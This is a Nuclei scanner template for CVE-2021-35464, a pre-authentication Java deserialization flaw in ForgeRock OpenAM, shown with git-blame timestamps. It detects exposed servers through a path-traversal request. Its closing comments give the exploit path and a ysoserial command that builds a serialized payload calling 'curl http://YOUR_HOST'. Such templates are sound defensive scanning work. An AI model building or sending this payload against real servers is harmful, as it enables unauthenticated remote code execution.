nuclei-templates/http/cves/2021/CVE-2021-35464.yaml

62 lines
2.4 KiB
YAML
Raw Normal View History

2021-06-29 12:32:33 +00:00
id: CVE-2021-35464
2021-06-29 11:56:37 +00:00
info:
name: ForgeRock OpenAM <7.0 - Remote Code Execution
author: madrobot
severity: critical
2021-08-29 06:45:32 +00:00
description: |
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
2021-08-29 09:14:12 +00:00
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
found in versions of Java 8 or earlier.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
reference:
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
2023-07-11 19:49:27 +00:00
- https://bugster.forgerock.org
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-35464
cwe-id: CWE-502
epss-score: 0.97366
epss-percentile: 0.99885
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
2022-07-10 09:37:26 +00:00
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: forgerock
product: am
2023-09-06 12:09:01 +00:00
shodan-query: http.title:"OpenAM"
2023-12-05 09:50:33 +00:00
tags: packetstorm,cve,cve2021,openam,rce,java,kev,forgerock
2021-06-29 11:56:37 +00:00
http:
2021-06-29 11:56:37 +00:00
- method: GET
path:
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: header
2021-06-29 11:56:37 +00:00
words:
- "Set-Cookie: JSESSIONID="
- type: word
2023-07-11 19:49:27 +00:00
part: body
words:
- "Version Information -"
2021-08-13 10:52:36 +00:00
- "openam/ccversion/Masthead.jsp"
condition: or
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
2023-10-14 11:27:55 +00:00
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
# digest: 490a0046304402207249c5397bb05b8e65316393fe9524111143dfb27e35e3d8b0b662e1aba1010402206630e97a2c0d8553a0f1359ddac6ef37f339c557464aeaec8c01a09b121d5450:922c64590222798bb761d5b6d8e72950